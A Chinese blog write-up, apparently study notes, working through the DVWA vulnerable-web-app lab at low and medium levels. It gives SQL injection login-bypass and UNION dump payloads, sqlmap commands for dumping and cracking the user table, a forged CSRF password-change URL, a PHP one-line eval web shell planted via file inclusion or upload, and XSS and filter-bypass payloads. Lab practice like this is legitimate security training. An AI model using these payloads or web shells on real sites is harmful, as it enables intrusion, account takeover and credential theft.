DVWA记录

Low

Brute Force

查看代码 发现存在sql注入
在这里插入图片描述$ query = “SELECT * FROM ’users‘ WHERE user = ‘$ user’ AND password = ‘$pass’;”;
构造 admin’ # 上图选中代码变为
$ query = "SELECT * FROM ’users‘ WHERE user = ’admin’ # ’ AND password = ‘$pass’;";
(#为注释符)
即变成账户为admin 密码为空 绕过登录
在这里插入图片描述
还可以抓包burp里进行字典爆破

Command Injection

利用管道符 命令执行漏洞在这里插入图片描述

命令管道符的补充:

Windows系统支持的管道符如下:
| 直接执行后面的语句。
|| 如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。
& 两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
&& 如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。

Linux系统支持的管道符如下:
; 执行完前面的语句再执行后面的语句。
| 显示后面语句的执行结果。
|| 当前面的语句执行出错时,执行后面的语句。
& 两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。
&& 如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。

CSRF

跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。在这里插入图片描述

输入两次不一致的密码
在这里插入图片描述查看url栏发现这是个修改密码的链接(一定要查看链接所提交的内容)
在这里插入图片描述直接在url栏修改456为123
在这里插入图片描述得到password changed
在这里插入图片描述再次打开DVWA时 发现登录密码错误 输入CSRF里改成的123成功登入

说明可以通过伪造url实现受害者点击跨站链接(或者写进网页文件里)修改其密码(123456)

http://localhost/DVWA(admin%20password)/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#

File Inclusion

在这里插入图片描述
存在文件包含漏洞 测试是否可以包含本地文件后(该安全等级下可以 不可以的话需要配合文件上传漏洞)
D盘下写一个1.txt:

<?php
fwrite(fopen("1.php","w"),"<?php @eval($_POST[123]);?>");
?>

本地包含 在DVWA\vulnerabilities\fi下出现我们设计好的一句话木马1.php

在这里插入图片描述
连接蚁剑即可

File Upload

没有过滤上传格式 挂上一句话
在这里插入图片描述菜刀添加马的绝对路径和密码
在这里插入图片描述在这里插入图片描述
菜刀连接成功
在这里插入图片描述

Insecure CAPTCHA

环境配置错误 待补充

SQL Injection

代码如下:
$ query = “SELECT first_name, last_name FROM users WHERE user_id = ‘$id’;”; 为数字型注入

  • 手工注入:
    ’ or 1#
    在这里插入图片描述查询数据库名称和版本:
    1' union select1,database()#

在这里插入图片描述爆出账号密码:
1' union select user,password from dvwa.users #
在这里插入图片描述

使用sqlmap自动注入:
需要跟cookie参数!burp里抓一下或者F12→→Console→→document.cookie得到当前页面cookie

查询到当前用户和数据库:
(看起来后端DBMS是“mysql”。是否要跳过特定于其他DBMS的测试有效负载?直接跳过,不再扫描其他类型的数据库)

在这里插入图片描述
查询当前用户(并且再查询了一次数据库):
在这里插入图片描述
直接拖库:
在这里插入图片描述回答问题:

  • 是否要将哈希值存储到临时文件中,以便其他工具进行处理?n
  • 你想通过基于字典的攻击破解它们吗?y
  • 你想用什么字典?enter
  • 是否要使用常用密码后缀?(慢)y
    在这里插入图片描述爆出:
    在这里插入图片描述

SQL Injection (Blind)

与前者无异
在这里插入图片描述

XSS

XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

反射型
在这里插入图片描述

在这里插入图片描述
<script>alert('hacked')</script>
在这里插入图片描述
存储型
在这里插入图片描述
<script>alert('hacked')</script>
在这里插入图片描述

Medium

Brute Force

在这里插入图片描述
在上一等级加了一sleep(2) 只是增加了爆破的时间而已

Command Injection

在这里插入图片描述

在这里插入图片描述

CSRF

过滤规则是http包头的Referer参数的值中必须包含主机名
在这里插入图片描述
同上一等级将伪造url写进一个以主机名命名的网页文件即可伪造Referer绕过

File Inclusion

同样 测试可以本地包含后 直接写一个1.txt 然后本地包含 连接1.php
考了什么:

在这里插入图片描述
代码即将http:// ../ ..\替换为空即删除 那么可以双写绕过:如..././过滤后变为../

File Upload

文件上传的过滤分为两种:一是上传类型 二是后缀名
方法一:
抓包 改包在这里插入图片描述
在这里插入图片描述在这里插入图片描述

在这里插入图片描述

方法二:
00截断参考谢公子的博客

上传完一句话后 蚁剑连接

SQL Injection

换一个工具 超级sql注入(选择合适的工具 熟悉sql注入原理后 注意时效性 并且掌握注入工具的机制)
burp抓包 整个包放进注入中心
在这里插入图片描述
点击自动识别后观察下面框内的程序运行状态
注入完后数据中心填入查询条数以及查出数据库 表 列

回到sqlmap(yyds)
由于medium的sql注入均为post注入(get注入在url有?id=1)
一般地,post有三个参数,得换个姿势:

方法一:
burp抓包,右击copy file为post.txt保存至sqlmap.py同一文件夹内
使用-r参数:python3 sqlmap.py -r "post.txt" --batch后面与前面的sqlmap使用无异在这里插入图片描述

特殊情况需要手动指定参数传送门
方法二:
让sqlmap自己找注入口:
使用:python3 sqlmap.py -u "url" --form
后面更换参数与前面用法无异
python3 sqlmap.py -u "url" --form --current-db --batch(加–batch参数可以不用回答问题 系统默认执行)
在这里插入图片描述

方法三:
指定参数:sqlmap -u http://xxx.xxx.com/Login.asp --data "id=1"

SQL Injection (Blind)

与上无异

XSS

反射型
在这里插入图片描述双写绕过:<sc<script>ript>alert('hacked')</script>

存储型
同上

High

Command Injection

过滤规则中 '| '多了一个空格 说明可以通过 | 绕过

CSRF

File Inclusion

File Upload

SQL Injection

SQL Injection (Blind)

XSS

猜你喜欢

转载自blog.csdn.net/qq_29163073/article/details/112770783